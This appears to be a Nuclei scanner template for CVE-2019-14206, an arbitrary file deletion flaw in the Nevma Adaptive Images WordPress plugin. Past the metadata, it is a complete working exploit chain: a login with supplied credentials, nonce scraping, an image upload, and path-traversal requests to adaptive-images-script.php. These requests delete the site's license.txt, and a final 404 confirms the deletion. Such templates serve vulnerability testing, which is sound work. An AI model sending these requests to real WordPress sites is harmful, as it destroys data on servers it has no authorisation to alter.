id: CVE-2019-14206

info:
  name: Nevma Adaptive Images - Arbitrary File Deletion
  author: riteshs4hu
  severity: high
  description: |
    Nevma Adaptive Images plugin before 0.6.67 for WordPress contains an arbitrary file deletion caused by unsanitized input in adaptive-images-script.php, letting remote attackers delete arbitrary files, exploit requires sending specific request parameters.
  impact: |
    Remote attackers can delete arbitrary files on the server, potentially causing data loss and service disruption.
  remediation: |
    Update to version 0.6.67 or later.
  reference:
    - https://wordpress.org/plugins/adaptive-images/#developers
    - https://wpscan.com/vulnerability/025a47f0-eddc-46dd-b994-e1e824dc5225/
    - https://github.com/markgruffer/markgruffer.github.io/blob/master/_posts/2019-07-19-adaptive-images-for-wordpress-0-6-66-lfi-rce-file-deletion.markdown
    - https://markgruffer.github.io/2019/07/19/adaptive-images-for-wordpress-0-6-66-lfi-rce-file-deletion.html
    - https://wpvulndb.com/vulnerabilities/9468
    - https://nvd.nist.gov/vuln/detail/CVE-2019-14206
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-14206
    cwe-id: CWE-22
    epss-score: 0.04767
    epss-percentile: 0.9075
    cpe: cpe:2.3:a:nevma:adaptive_images:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 9
    vendor: nevma
    product: adaptive_images
  tags: cve,cve2019,nevma,adaptive-images,vkev

flow: http(1) && http(2) && http(3) && http(4) && http(5) && http(6) && http(7) && http(8) && http(9)

variables:
  fname: "{{rand_text_alpha(10)}}.jpeg"
  rev: "{{rand_int(1000, 9999)}}"
  img: "{{base64_decode('/9j/4AAQSkZJRgABAQEASABIAAD/2wBDAAEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQH/2wBDAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQH/wgARCAABAAEDAREAAhEBAxEB/8QAFAABAAAAAAAAAAAAAAAAAAAACf/EABQBAQAAAAAAAAAAAAAAAAAAAAD/2gAMAwEAAhADEAAAAX8P/8QAFBABAAAAAAAAAAAAAAAAAAAAAP/aAAgBAQABBQJ//8QAFBEBAAAAAAAAAAAAAAAAAAAAAP/aAAgBAwEBPwF//8QAFBEBAAAAAAAAAAAAAAAAAAAAAP/aAAgBAgEBPwF//8QAFBABAAAAAAAAAAAAAAAAAAAAAP/aAAgBAQAGPwJ//8QAFBABAAAAAAAAAAAAAAAAAAAAAP/aAAgBAQABPyF//9oADAMBAAIAAwAAABAf/8QAFBEBAAAAAAAAAAAAAAAAAAAAAP/aAAgBAwEBPxB//8QAFBEBAAAAAAAAAAAAAAAAAAAAAP/aAAgBAgEBPxB//8QAFBABAAAAAAAAAAAAAAAAAAAAAP/aAAgBAQABPxB//9k=')}}"

http:
  - raw:
      - |
        GET /license.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(body, 'WordPress')"
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, "wordpress_logged_in")
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/media-new.php HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: wp_nonce
        group: 1
        regex:
          - '"_wpnonce"\s*:\s*"([a-f0-9]+)"'
        internal: true

  - raw:
      - |
        POST /wp-admin/async-upload.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=---------------------------263427179238165382561022069118

        -----------------------------263427179238165382561022069118
        Content-Disposition: form-data; name="name"

        {{fname}}
        -----------------------------263427179238165382561022069118
        Content-Disposition: form-data; name="post_id"

        0
        -----------------------------263427179238165382561022069118
        Content-Disposition: form-data; name="_wpnonce"

        {{wp_nonce}}
        -----------------------------263427179238165382561022069118
        Content-Disposition: form-data; name="type"


        -----------------------------263427179238165382561022069118
        Content-Disposition: form-data; name="tab"


        -----------------------------263427179238165382561022069118
        Content-Disposition: form-data; name="short"

        1
        -----------------------------263427179238165382561022069118
        Content-Disposition: form-data; name="async-upload"; filename="{{fname}}"
        Content-Type: image/jpeg

        {{img}}
        -----------------------------263427179238165382561022069118--

    extractors:
      - type: regex
        name: attachment_id
        group: 1
        part: header
        regex:
          - 'X-Wp-Upload-Attachment-Id:\s*([0-9]+)'
        internal: true

  - raw:
      - |
        POST /wp-admin/async-upload.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        attachment_id={{attachment_id}}&fetch=3

  - raw:
      - |
        GET /wp-content/plugins/adaptive-images/adaptive-images-script.php?adaptive-images-settings[source_file]=../../../wp-content/uploads/2026/01/{{fname}} HTTP/1.1
        Host: {{Hostname}}

  - raw:
      - |
        GET /wp-content/plugins/adaptive-images/adaptive-images-script.php?adaptive-images-settings[source_file]=../../../wp-content/uploads/2026/01/{{fname}}&adaptive-images-settings[resolution]=&resolution={{rev}} HTTP/1.1
        Host: {{Hostname}}

  - raw:
      - |
        GET /wp-content/plugins/adaptive-images/adaptive-images-script.php?adaptive-images-settings[source_file]=../../../wp-content/uploads/2026/01/{{fname}}&adaptive-images-settings[resolution]=&resolution={{rev}}&adaptive-images-settings[wp_content]=.&adaptive-images-settings[cache_dir]=../../..&adaptive-images-settings[request_uri]=license.txt&adaptive-images-settings[watch_cache]=1 HTTP/1.1
        Host: {{Hostname}}

  - raw:
      - |
        GET /license.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "status_code == 404"
# digest: 4a0a00473045022100a64e6704f9e93f519158a6244982a8c426caf3850ee145b417e39921c7dfd054022043caee7166297180d2e5d8f94f0045375fb1ca7141291df09268a63686b9800c:922c64590222798bb761d5b6d8e72950